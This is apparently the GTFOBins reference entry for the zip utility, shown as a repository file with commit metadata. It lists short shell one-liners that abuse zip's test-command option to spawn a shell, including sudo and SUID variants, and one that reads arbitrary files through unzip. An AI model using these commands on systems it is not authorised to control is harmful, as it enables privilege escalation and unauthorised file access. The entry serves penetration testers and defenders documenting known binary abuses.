GTFOBins.github.io/_gtfobins/zip.md
Andrea Cardaci 5255ea1846 Cleanup
2021-04-17 21:03:54 +02:00

473 B

functions
file-read shell sudo limited-suid
code
LFILE=file-to-read TF=$(mktemp -u) zip $TF $LFILE unzip -p $TF
code
TF=$(mktemp -u) zip $TF /etc/hosts -T -TT 'sh #' rm $TF
code
TF=$(mktemp -u) sudo zip $TF /etc/hosts -T -TT 'sh #' sudo rm $TF
code
TF=$(mktemp -u) ./zip $TF /etc/hosts -T -TT 'sh #' sudo rm $TF